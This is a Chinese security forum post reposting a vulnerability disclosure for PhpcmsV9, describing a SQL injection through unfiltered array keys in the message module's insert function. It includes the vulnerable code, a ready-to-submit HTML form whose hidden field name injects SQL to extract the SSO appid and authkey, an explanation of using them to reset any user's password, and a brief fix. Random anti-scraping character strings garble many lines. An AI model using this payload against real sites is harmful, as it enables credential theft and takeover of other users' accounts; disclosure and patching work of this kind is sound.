找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
  x. m" t2 h$ \1 b& k# F3 l% ~) e% a' @4 O: H; e
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
9 z$ r; _& O5 K1 \; f% z4 A/ A+ z& W( n1 n( v
明天再更新下一个漏洞。, z7 T- A. P% E# A- n* R
详细说明:; J1 q% X# H) J+ g6 W0 T
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
9 _' ~2 b8 Q" a7 B* E8 `  r* S9 e( V& `
$messageid = $this->message_db->insert($_POST['info'],true);
7 W7 R0 }* H7 d9 M8 d/ f" ~
5 ~5 L/ j, n2 x- h+ i9 i3 f  g
insert方法是key value的,代码如下:
8 y: H4 n! C! h5 C/ ?) a9 l3 L1 U; T1 n' F2 Q
public function insert($data, $table, $return_insert_id = false, $replace = false) {% `& B) a+ T2 ~' W& A" c
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
. x0 z' W, x7 J                        return false;# Z8 k- _. C- p; k3 I3 W# P
                }
/ O$ h, ]& X% W" n! h% e8 s               
2 ~. Y  q3 U, ~' Q  K                $fielddata = array_keys($data);
4 m8 x9 J* X3 m1 V                $valuedata = array_values($data);
* ?0 G) H1 I. V! C                array_walk($fielddata, array($this, 'add_special_char'));
" o6 H5 u8 J* }; ~( e                array_walk($valuedata, array($this, 'escape_string'));! n% ?; H8 w1 ]4 F; \. T; o
               
6 n1 s! q* D6 k! j                $field = implode (',', $fielddata);5 l) c0 }  G. o
                $value = implode (',', $valuedata);/ [( o# l+ n  ~8 h/ q* i6 _
0 s- E, T2 W3 V1 C4 N$ Z) Q* E
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';! t5 y7 N* ?  X! T: H- P. _
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
. e& y- o8 d4 ^1 O                $return = $this->execute($sql);( m2 k# C# t, H+ M" w* i8 V/ u
                return $return_insert_id ? $this->insert_id() : $return;
* Q! }% k  O/ X7 M. A        }
+ g# R2 L, y) E2 H& l' R  M) S* `4 e! q
1 A- y# ?% I3 I2 Y6 Z9 M
嗯,很遗憾的是$ p" h- Y* L$ {, F( y: Q8 @
1 B" A( |- |8 E" U+ a+ M
array_walk($fielddata, array($this, 'add_special_char'));
4 H' ]% n5 i' v. [0 W; P9 d6 y8 W" n( v! p6 P7 @* P1 i
2 Q8 N: O: ^( `& }( h; U
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ t' [  n" I1 ^% ]$ O, L: u
: ~- Y8 ]7 v! f到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 @! H; Z& \9 n2 E3 E, f

9 X' D& Q0 f: `5 a; f# j- G漏洞证明:0 D5 U: t/ U" F# B) \; n3 z/ l
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 V) e- ~/ H# x" C1 Y' P: W9 g
4 \3 x# S  S; Z" g  G" X
. B- d( ~$ L# E. f- p表单如下:用户名什么的得自己改一改。9 E: [+ h4 z" a
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
- n$ m4 ^$ Y; o0 p8 P<table width="100%" cellspacing="0" class="table_form">
- x7 {6 \- @. j; g0 C<tr>7 y) q: c) G" R
<th>标 题:</th>
; y# N- U, G! Y<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>4 f) B  V' ?4 i
</tr>
  c7 J) r* U. U) u; n  V<tr>' y, `( J( u( P
<th>内 容:</th>
9 m' |* s# M  S! [# T4 E4 L<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
2 E: R; [- L2 y5 g2 b- y% j# ]# K</tr>
) D2 w" w! y# Z<input type="hidden" name="info[replyid]" value="2" />
. |; G+ e  L/ d! e<input type="hidden" name="info[send_to_id]" value="cc" />
& {% |% F; i* g9 _! u- w9 K# t<input type="hidden" name="info[send_from_id]" value="hh">3 d9 a! l/ K1 e( @* J8 t
<!-- 漏洞的利用重点在这里开始 -->
' U% M4 h+ |* j! L% m  {' j+ f<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ) H% l/ u# ?% T( K3 r( ^- x8 {  Q
<!-- 漏洞的利用重点在这里结束 -->
6 \  ?) r0 @! R# B<tr>4 b# X9 @' y9 F7 r2 w: k
<th>验证码:</th>
) O5 u; _9 p8 d  |7 D, U2 z0 H# r2 S<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
' M1 b2 d! C+ t</tr>" r* w% ^7 M! _0 [0 q6 n4 W' h& @
<tr>  Q. i& S0 y" L
<td></td>
/ [/ h* h) q7 T3 X3 ^5 J6 s2 C<td colspan="2"><label>% u( K" p) t4 p/ f7 ]* Z0 \
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>! K4 z8 Y  q* h0 `% n( M
</label></td>
2 z2 g9 B# E, |' t</tr>( A/ z& h1 J1 Y5 ?: M: r
</table>
. _7 }2 i. ?1 R9 `7 a</form>5 t0 k) L2 K8 }" G
在add_special_char函数内对key做过滤就可以了。+ d6 L$ @* L7 j* Y' p# w
$ }  Y8 P5 i( D! W4 a! w6 z
( a% ~9 G) ^. C, e5 d

3 l" p7 l, C( R: H3 N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表